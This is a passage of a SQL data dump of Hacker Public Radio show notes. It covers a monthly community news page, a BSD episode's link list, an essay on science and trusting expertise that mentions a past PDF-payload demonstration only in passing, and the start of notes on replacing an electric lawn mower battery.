href=\"https://hackerpublicradio.org/eps.php?id=3712\" target=\"_blank\">The last ever CCHits.net Show</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=413\" target=\"_blank\">CCHits.net Team</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3713\" target=\"_blank\">3713</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-10-26</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3713\" target=\"_blank\">Bash snippet - short-circuit evaluation in Bash Boolean expressions</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3714\" target=\"_blank\">3714</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-10-27</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3714\" target=\"_blank\">The News with Some Guy On the Internet</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3715\" target=\"_blank\">3715</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-10-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3715\" target=\"_blank\">Secret hat conversations, Part 2.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3716\" target=\"_blank\">3716</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-10-31</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3716\" target=\"_blank\">How I got in to Tech</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=405\" target=\"_blank\">Lurking Prion</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 34 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 5 comments on\n3 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3693#comments\" target=\"_blank\">hpr3693</a></strong>\n(2022-09-28) \"<em>Fixing the automatic cutoff mechanism to an electric mower</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=293\" target=\"_blank\">Rho`n</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3693#1\" target=\"_blank\">Comment 1</a>:\nSome Guy On The Internet on 2022-10-27:\n\"Thank you.\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3694#comments\" target=\"_blank\">hpr3694</a></strong>\n(2022-09-29) \"<em>Robo Tripping Ravelords of the Apocalypse</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=401\" target=\"_blank\">Mechatroniac</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3694#6\" target=\"_blank\">Comment 6</a>:\nSome Guy On The Internet on 2022-10-27:\n\"Please continue.\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3695#comments\" target=\"_blank\">hpr3695</a></strong>\n(2022-09-30) \"<em>How I watch youtube with newsboat</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=406\" target=\"_blank\">binrc</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3695#2\" target=\"_blank\">Comment 2</a>:\nbinrc on 2022-10-01:\n\"RSS THE PLANET\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3695#3\" target=\"_blank\">Comment 3</a>:\nDave Morriss on 2022-10-03:\n\"Great show, but I have questions\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3695#4\" target=\"_blank\">Comment 4</a>:\nNate on 2022-10-20:\n\"use an invidious instance to get the channel id\"</li></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 29 comments on 14 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3697#comments\" target=\"_blank\">hpr3697</a></strong>\n(2022-10-04) \"<em>Mis-information, Dis-information, and Fake News. You are a product and target for all of it.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=405\" target=\"_blank\">Lurking Prion</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3697#1\" target=\"_blank\">Comment 1</a>:\nSome Guy On The Internet on 2022-10-27:\n\"Bravo, Bravo!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3698#comments\" target=\"_blank\">hpr3698</a></strong>\n(2022-10-05) \"<em>Spectrogram</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">Klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3698#1\" target=\"_blank\">Comment 1</a>:\nSome Guy On The Internet on 2022-10-27:\n\"I gave it a go.\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3701#comments\" target=\"_blank\">hpr3701</a></strong>\n(2022-10-10) \"<em>ReiserFS - the file system of the future</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=411\" target=\"_blank\">Paul J</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3701#1\" target=\"_blank\">Comment 1</a>:\nwynaut on 2022-10-11:\n\"Very interesting\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3701#2\" target=\"_blank\">Comment 2</a>:\nKevin O&#39;Brien on 2022-10-11:\n\"Great show\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3701#3\" target=\"_blank\">Comment 3</a>:\nBeeza on 2022-10-11:\n\"Perfect First Show\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3701#4\" target=\"_blank\">Comment 4</a>:\nWindigo on 2022-10-12:\n\"Excellent first episode!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3701#5\" target=\"_blank\">Comment 5</a>:\nbrian-in-ohio on 2022-10-13:\n\"great show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3702#comments\" target=\"_blank\">hpr3702</a></strong>\n(2022-10-11) \"<em>Easter Ogg</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3702#1\" target=\"_blank\">Comment 1</a>:\nKinghezy on 2022-10-12:\n\"Jerusalem\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3705#comments\" target=\"_blank\">hpr3705</a></strong>\n(2022-10-14) \"<em>The Year of the FreeBSD Desktop</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=406\" target=\"_blank\">binrc</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3705#1\" target=\"_blank\">Comment 1</a>:\ndnt on 2022-10-18:\n\"Time running out on 2022\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3705#2\" target=\"_blank\">Comment 2</a>:\nKevin O&#39;Brien on 2022-10-18:\n\"Great show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3706#comments\" target=\"_blank\">hpr3706</a></strong>\n(2022-10-17) \"<em>The Future of Technology</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=405\" target=\"_blank\">Lurking Prion</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3706#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2022-09-10:\n\"Wrong wrong wrong\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3706#2\" target=\"_blank\">Comment 2</a>:\ndnt on 2022-10-18:\n\"Capitalism or technology\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3706#3\" target=\"_blank\">Comment 3</a>:\nWindigo on 2022-10-18:\n\"Relatable\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3707#comments\" target=\"_blank\">hpr3707</a></strong>\n(2022-10-18) \"<em>Recovering a Massive 3.5 HP Electric Motor from a Treadmill</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=401\" target=\"_blank\">Mechatroniac</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3707#1\" target=\"_blank\">Comment 1</a>:\none_of_spoons on 2022-10-18:\n\"gravity generator\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3707#2\" target=\"_blank\">Comment 2</a>:\nMechatroniac on 2022-10-23:\n\"electricity\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3707#3\" target=\"_blank\">Comment 3</a>:\nSome Guy On The Internet on 2022-10-27:\n\"Cool beans\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3708#comments\" target=\"_blank\">hpr3708</a></strong>\n(2022-10-19) \"<em>Insomnia as a Hobby</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=389\" target=\"_blank\">TrumpetJohn</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3708#1\" target=\"_blank\">Comment 1</a>:\ndnt on 2022-10-22:\n\"Sleep with me\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3710#comments\" target=\"_blank\">hpr3710</a></strong>\n(2022-10-21) \"<em>Changing Plans Again</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3710#1\" target=\"_blank\">Comment 1</a>:\ndnt on 2022-10-25:\n\"Travelling\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3710#2\" target=\"_blank\">Comment 2</a>:\nKevin O&#39;Brien on 2022-10-25:\n\"You are most welcome\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3711#comments\" target=\"_blank\">hpr3711</a></strong>\n(2022-10-24) \"<em>Cars</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=377\" target=\"_blank\">Zen_Floater2</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3711#1\" target=\"_blank\">Comment 1</a>:\nSome Guy On The Internet on 2022-10-27:\n\"Big Human = Big Vehicle\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3712#comments\" target=\"_blank\">hpr3712</a></strong>\n(2022-10-25) \"<em>The last ever CCHits.net Show</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=413\" target=\"_blank\">CCHits.net Team</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3712#1\" target=\"_blank\">Comment 1</a>:\nSome Guy On The Internet on 2022-10-27:\n\"I\'ve never heard of this site until now.\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3712#2\" target=\"_blank\">Comment 2</a>:\nthelovebug on 2022-10-29:\n\"CCHits theme tune\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3713#comments\" target=\"_blank\">hpr3713</a></strong>\n(2022-10-26) \"<em>Bash snippet - short-circuit evaluation in Bash Boolean expressions</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3713#1\" target=\"_blank\">Comment 1</a>:\nSome Guy On The Internet on 2022-10-27:\n\"Great Show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3714#comments\" target=\"_blank\">hpr3714</a></strong>\n(2022-10-27) \"<em>The News with Some Guy On the Internet</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3714#1\" target=\"_blank\">Comment 1</a>:\nClaudioM on 2022-10-27:\n\"Great Episode!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3714#2\" target=\"_blank\">Comment 2</a>:\nZen_floater2 on 2022-10-27:\n\"OH NO!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3714#3\" target=\"_blank\">Comment 3</a>:\ndnt on 2022-10-28:\n\"This just in:\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3714#4\" target=\"_blank\">Comment 4</a>:\nKevin O&#39;Brien on 2022-10-29:\n\"Wonderful!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3715#comments\" target=\"_blank\">hpr3715</a></strong>\n(2022-10-28) \"<em>Secret hat conversations, Part 2.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3715#1\" target=\"_blank\">Comment 1</a>:\nThe hacker formerly known as b-yeezi on 2022-10-29:\n\"Tin foil hat engaged\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3715#2\" target=\"_blank\">Comment 2</a>:\none_of_spoons on 2022-10-31:\n\"Protonmail shopping for law enforcement.\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-October/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-October/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"older-hpr-shows-on-archive.org-phase-2\">Older HPR shows on\narchive.org, phase 2</h3>\n<p>Now that all shows from number 1 to the latest have been uploaded to\nthe Internet Archive there are other tasks to perform. We are\nreprocessing and re-uploading shows in the range 871 to 2429 as\nexplained in the Community News show notes released in <a\nhref=\"http://hackerpublicradio.org/eps.php?id=3586#older-hpr-shows-on-archive.org-phase-2\">May\n2022</a>. We are keeping a running total here to show progress:</p>\n<table>\n<tr>\n<th>\nMonth\n</th>\n<th>\nMonth count\n</th>\n<th>\nRunning total\n</th>\n<th>\nRemainder\n</th>\n</tr>\n<tr>\n<td>\n2022-04\n</td>\n<td>\n130\n</td>\n<td>\n130\n</td>\n<td>\n1428\n</td>\n</tr>\n<tr>\n<td>\n2022-05\n</td>\n<td>\n140\n</td>\n<td>\n270\n</td>\n<td>\n1288\n</td>\n</tr>\n<tr>\n<td>\n2022-06\n</td>\n<td>\n150\n</td>\n<td>\n420\n</td>\n<td>\n1138\n</td>\n</tr>\n<tr>\n<td>\n2022-07\n</td>\n<td>\n155\n</td>\n<td>\n575\n</td>\n<td>\n983\n</td>\n</tr>\n<tr>\n<td>\n2022-08\n</td>\n<td>\n155\n</td>\n<td>\n730\n</td>\n<td>\n828\n</td>\n</tr>\n<tr>\n<td>\n2022-09\n</td>\n<td>\n150\n</td>\n<td>\n880\n</td>\n<td>\n678\n</td>\n</tr>\n<tr>\n<td>\n2022-10\n</td>\n<td>\n155\n</td>\n<td>\n1035\n</td>\n<td>\n523\n</td>\n</tr>\n</table>\n\n<p><small><small>Updated: 2022-11-05 15:28:06</small></small></p>\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3439,'2021-10-07','Linux Inlaws S01E40: The One with the BSDs',5834,'The other One Operating System to Rule them all','<p>In this episode, Martin and Chris host an eclectic panel of contributors to\r\nthe *other* major FLOSS operating system family - you guessed it: the\r\nflavours of the Berkeley Software Distribution (aka BSD among friends).\r\nDisclaimer: you may be tempted to diverge from the Path of the\r\nRighteousness also known as Linux and give this alternative a spin. So\r\nthis episode is *not* for the faint-hearted - listen at your own\r\ndiscretion! Also: the true defective nature of our beloved (?) hosts\' past\r\nwill be revealed - an episode not be missed despite the caveat! Plus\r\na refresher on spaced-out operating system concepts including library\r\noperating systems and a rant on Android and friends. In addition to some\r\ncool BSD trolling...  </p>\r\n\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>OpenBSD: <a href=\"https://www.openbsd.org\" target=_blank>https://www.openbsd.org</a></li>\r\n<li>FeeBSD: <a href=\"https://www.freebsd.org\" target=_blank>https://www.freebsd.org</a></li>\r\n<li>NetBSD: <a href=\"https://www.netbsd.org\" target=_blank>https://www.netbsd.org</a></li>\r\n<li>DragonFlyBSD: <a href=\"https://www.dragonflybsd.org\" target=_blank>https://www.dragonflybsd.org</a></li>\r\n<li>386BSD: <a href=\"https://www.386bsd.org\" target=_blank>https://www.386bsd.org</a></li>\r\n<li>RUMP kernel: <a href=\"https://en.wikipedia.org/wiki/Rump_kernel\" target=_blank>https://en.wikipedia.org/wiki/Rump_kernel</a></li>\r\n<li>Library operating systems: <a href=\"https://www.sigarch.org/leave-your-os-at-home-the-rise-of-library-operating-systems\" target=_blank>https://www.sigarch.org/leave-your-os-at-home-the-rise-of-library-operating-systems</a></li>\r\n<li>Free BSD Linux Compatibility: <a href=\"https://docs.freebsd.org/en/books/handbook/linuxemu\" target=_blank>https://docs.freebsd.org/en/books/handbook/linuxemu</a></li>\r\n<li>BSD Jails (original paper): <a href=\"https://papers.freebsd.org/2000/phk-jails.files/sane2000-jail.pdf\" target=_blank>https://papers.freebsd.org/2000/phk-jails.files/sane2000-jail.pdf</a></li>\r\n<li>FeeBSD Ports: <a href=\"https://www.freebsd.org/ports\" target=_blank>https://www.freebsd.org/ports</a></li>\r\n<li>NetBSD pkgsrc: <a href=\"https://www.netbsd.org/docs/pkgsrc\" target=_blank>https://www.netbsd.org/docs/pkgsrc</a></li>\r\n<li>ZFS: <a href=\"https://en.wikipedia.org/wiki/ZFS\" target=_blank>https://en.wikipedia.org/wiki/ZFS</a></li>\r\n<li>BSD\'s pledge: <a href=\"https://unix.stackexchange.com/questions/410056/what-is-openbsds-pledge-in-short\" target=_blank>https://unix.stackexchange.com/questions/410056/what-is-openbsds-pledge-in-short</a></li>\r\n<li>FreeBSD and Netflix: <a href=\"https://papers.freebsd.org/2019/fosdem/looney-netflix_and_freebsd\" target=_blank>https://papers.freebsd.org/2019/fosdem/looney-netflix_and_freebsd</a></li>\r\n<li>BSD Firewalls: <a href=\"https://docs.freebsd.org/en/books/handbook/firewalls\" target=_blank>https://docs.freebsd.org/en/books/handbook/firewalls</a></li>\r\n<li>Michael W. Lucas\' \"Savaged by Systemd\": <a href=\"hhttps://www.goodreads.com/book/show/36190710-savaged-by-systemd\" target=_blank>hhttps://www.goodreads.com/book/show/36190710-savaged-by-systemd</a></li>\r\n<li>Linux vs. Minix: <a href=\"https://www.oreilly.com/openbook/opensources/book/appa.html\" target=_blank>https://www.oreilly.com/openbook/opensources/book/appa.html</a></li>\r\n<li>Pegasus spyware: <a href=\"https://en.wikipedia.org/wiki/Pegasus_(spyware)\" target=_blank>https://en.wikipedia.org/wiki/Pegasus_(spyware)</a></li>\r\n<li>BSD History presentation: <a href=\"https://www.youtube.com/watch?v=DEEr6dT-4uQ\" target=_blank>https://www.youtube.com/watch?v=DEEr6dT-4uQ</a></li>\r\n<li>The tragedy of systemd: <a href=\"https://www.youtube.com/watch?v=o_AIw9bGogo\" target=_blank>https://www.youtube.com/watch?v=o_AIw9bGogo</a></li>\r\n<li>The Rise and Fall of Copyleft: <a href=\"https://archive.org/download/OhioLinuxfest2013/24-Rob_Landley-The_Rise_and_Fall_of_Copyleft.mp3\" target=_blank>https://archive.org/download/OhioLinuxfest2013/24-Rob_Landley-The_Rise_and_Fall_of_Copyleft.mp3</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','Berkeley Software Distribution, library operating systems, Android, Copyleft, BSD License, Usenet',0,0,1),
(3442,'2021-10-12','What is this thing called science',790,'Critical thinking is only part of the equation. Here\'s the other part.','<hr />\r\n<h3>Counter Point</h3>\r\n<p>This show is a counter point to: <a href=\"https://hackerpublicradio.org/eps.php?id=3414\">hpr3414 :: Critical Thinking may make You Critical of the Covid Crisis</a>\r\n</p>\r\n<hr />\r\n\r\n<p>Some time ago, I did some Hacker Public Radio episodes in which I ostensibly demonstrated how to create a PDF with Scribus. Secretly, I was actually demonstrating how unexpected payloads could be embedded into a PDF. Did the PDF I uploaded as part of that episode no longer contain a payload if the listener who downloaded it wasn\'t aware that the payload existed?</p>\r\n<p>I\'ve been diagnosed by educators as a \"life long learner,\" which as far as I can tell is a buzzword referring to someone who takes pleasure in learning new things. In our world of technology, dear listener, I think this term is just \"hacker.\" And that\'s appropriate, because this is Hacker Public Radio you\'re listening to now, and listeners of this show tend to be people who enjoy learning and exploring new ideas, taking apart gadgets to see what makes them tick, reverse engineering code and data to understand how it gets processed, and so on.</p>\r\n<p>The thing about being a hacker or a life-long learner is that there\'s a lot of stuff out there that wants to be hacked, or learnt. And it turns out that it\'s just not possible to learn everything. Sometimes, you\'re out of your depth. It can be tricky to recognize when you\'re out of your depth, and I think there\'s a certain learn-able skill to knowing that you don\'t know something. There\'s a lot of value to this skill, because when you can recognize you don\'t have expertise on something, you\'re able to look around you and find someone who has. That\'s significant because you can learn from someone with expertise.</p>\r\n<p>In my own humdrum life, before getting a full-time job at a tech company, I was commissioned on several occasions to build out infrastructure for a video game development project, an indie radio station, a few different multimedia projects, and so on. When I took on those roles, I became the resident expert. People turned to me for the authoritative word on what technological solutions should be used. When I told them, they were more or less obligated to listen, because that was the role I\'d been hired for. If they were to ask me what a workstation should run, and I said Linux, but they bought a Mac instead, then my role would be unarguably redundant. They could just as easily type the question into a search engine on the Internet, and ignore the result. Or they could roll a die, or whatever.</p>\r\n<p>In those cases, though, it\'s a question of my opinion compared to someone else\'s opinion. Both are valid. Because I was the architect, my opinion mattered more to the long-term plan, but if the long-term plan were to change from having a highly-available cluster for fast 3d model rendering to having workstations with a familiar desktop, then my opinion would be less valid.</p>\r\n<p>But there are some areas in life where opinions don\'t matter. Specifically, that area is science. But what is science, anyway? People talk about science a lot, but it took me a long time, especially as someone who largely came from an artistic background, to comprehend the significance of the term, much less how it worked.</p>\r\n<p>Forget about all the high school classes and pop dietitians and physicists. Science is a framework. It\'s a set of principles designed to help our human brains hack the world around us in a methodical and precise way. Instead of letting our opinions, which may or may not be relevant, influence conclusions and decisions we make, science looks at the results of controlled input and output. Wait a minute. \"Input and output\"? Those are words I understand. Those are computer terms!</p>\r\n<p>Yeah it turns out that computers are the product of science, and in fact building computers and programming computers is a form of Computer Science. Those are just words we made up, but they reveal a lot about what we computer hackers do all day. Computers don\'t understand the influence of opinion, or your force of will, or the power of faith. They just take input and produce output. They do this very reliably.</p>\r\n<p>I don\'t know whether you\'ve ever tried, but it\'s really hard to make a computer. Comprehending how a CPU processes rudimentary electrical pulses to transform them into complex instruction sets is mind-bending, at least to me. I\'ve sat down and thought about it critically. I\'ve set up a few experiments, too. There\'s one you can do with dominoes, believe it or not, that can somewhat help you design a logic circuit. There\'s a Turing Machine you can build with Magic The Gathering cards. And an electronics kit that\'ll help you <a href=\"https://eater.net/8bit\">build an 8bit CPU</a>. But even with all of those experiments, the open RISC-V CPU still eludes my comprehension.</p>\r\n<p>And just to be clear: back in 2008 or so, I was hired to stress test a RISC CPU to determine whether it was efficient at rendering massive amounts of video. I designed tests in an attempt to prove that a RISC CPU could not out-perform the latest Intel Core2duo, and could not achieve the goal (RISC is better, what can I say?) So my affinity for RISC is far from just a passing interest. But I can\'t build a RISC-V or even really explain how a CPU works.</p>\r\n<p>For that, I understand that there are experts. These aren\'t just people I call experts because they\'re labeled that way on their shirt pocket. They\'re experts because they\'re building the RISC-V, and it works. I met some of them back at OSS Con in 2019. I recognize their expertise, because they\'re proving their knowledge.</p>\r\n<p>Let\'s say I approached the RISC-V booth with the preconception that x86 was superior. After all, why would most consumer computers be running x86 if it weren\'t the best? I might be skeptical if I were told that RISC-V is superior for some tasks. Could they have ulterior motives? Could they have been paid off by Big Silicon to lie about RISC\'s performance in order to hurt x86\'s marketshare? Sure, it could happen. And that skepticism is important. It\'s arguably part of the scientific process. Look at the results of an experiment, replicate the input and ensure that the output is reliably the same.</p>\r\n<p>But you can\'t be sure until you\'ve duplicated the experiments that make the claim in the first place. Unfortunately, this often requires some pretty controlled environments, and possibly some pretty high end equipment.</p>\r\n<p>The bottom line is that I\'m never going to get around to doing that, I\'m never going to have access to those resources, and I\'m never going to have the understanding I\'d need to comprehend all the potential variables involved. In short, I just don\'t have the expertise. But I\'m willing to trust the expertise of a lot of people from all over the world working on this project. I\'m going to trust that because they all agree on similar findings, that what they\'re saying about the design and architecture of their CPU, that there\'s a high likelihood that their findings are correct.</p>\r\n<p>The same goes, as it turns out, for biological sciences. No matter how many one-off experiments discover that cigarette smoking is beneficial to your health, the wider scientific consensus is that it\'s harmful. No matter how man \"free-thinkers\" on the Internet discover that Covid-19 is actually no worse than the common cold, the worldwide scientific community asserts that it\'s actually harmful, and medical staffs across the globe assert that increased cases of Covid-19 cause bed and healthcare shortages for everyone else. Somebody online may assert that it\'s an impossibly unified globe-spanning political plot, but that relies on a bunch of untest-able opinions and interpretations of reality that fall well outside any scientific framework.</p>\r\n<p>It seems to me that this line of speculation makes about as much sense as asking whether your computer can really still add numbers accurately. Couldn\'t it occasionally be lying to you? The device you\'re using to listen to my voice right now not to scramble what I\'m saying and accurately play what I recorded in the first place is based on the same scientific principles used by those in biological sciences. We\'re feeding data into functions, whether the function is written in code, forged in silicon, or written on paper as a math formula, and we\'re observing the results. When every expert in their field, across the entire globe, agrees on the output, I think we do too. It\'s either that, or we\'d better all go build our own 8bit circuits out of chickens and batteries and just start to rebuild.</p>\r\n<p>So did the PDF I uploaded as part of the Scribus episode no longer contain a payload if the listener who downloaded it wasn\'t aware that the payload existed? Obviously not. If the listener lacked the foresight or expertise to investigate the PDF for a hidden file, then they could have posted an episode of their own about how my PDF was completely normal. They\'d have been confident in their findings. But you and I know that whatever experiments they might have used to come to the conclusion that Klaatu was NOT a liar was, in the end, insufficient. The payload did exist, but it was just outside this imaginary listener\'s detection or comprehension.</p>\r\n<p>Critical thinking is important. But at the same time, the scientific framework requires more than just critical thinking, just as building a RISC-V CPU requires more than just being a fan of reduced instruction sets. And solving the Covid-19 crisis takes a lot more than just critical thinking and a couple of backyard \"experiments.\" We\'re not in the Dark Ages any more, folks. Get vaccinated. Stay safe, and I\'ll talk to you next time.</p>\r\n',78,0,0,'CC-BY-SA','covid, science, risc-v, cpu',0,0,1),
(3443,'2021-10-13','Neuton battery replacement',593,'Rho`n describes replacing the battery in his Neuton EM 4.1 electric lawn mower','<h1 id=\"audio-notes\">Audio Notes</h1>\r\n<p>During the audio I repeatedly called it the Neutron mower instead of the Neuton mower. I was too lazy edit those mispronunciations.</p>\r\n<h1 id=\"introduction\">Introduction</h1>\r\n<p>After recently reclaiming my Neuton EM 4.1 electric lawn mower from my parents, I needed to replace the battery to make it operational. This mower was purchased in the early 2000s, and replacement batteries for it are no longer available from the manufacturer. Thankfully replacement 12V 10A batteries are available through third parties.</p>\r\n<h1 id=\"replacing-parts\">Replacing Parts</h1>\r\n<p>I faced two issues with finding replacement parts. The Neuton mowers run at 24V and need batteries that can provide 10 amps of current. They come with a battery case that holds two 12V 10A batteries connected in series. The case holds the batteries and provides a connector and circuitry for a 24V DC charger. When I received the mower back from my parents, it didn\'t have a battery case with it. While the <a href=\"https://www.neutonpower.com/\">Neuton website</a> is still online, and looks like you can order some accessories still, they no longer carry replacement battery cases or batteries. I was able to find just the case on EBay. I then found replacement batteries on Amazon.</p>\r\n<p>Installing the batteries in the case is simple. One side of the case has a lid. The lid is held in place by plastic notches on the bottom and two screws at the top. The screws have size 10 star heads. The batteries sit side by side in the case, with their terminals facing the lid. I connected the inner terminals (negative of one battery to positive of the other) with the jumper wire that came with the case. I then connected the outer terminals to the battery case terminal wires, slid the batteries all the way into case, closed, and fastened the lid.</p>\r\n<h1 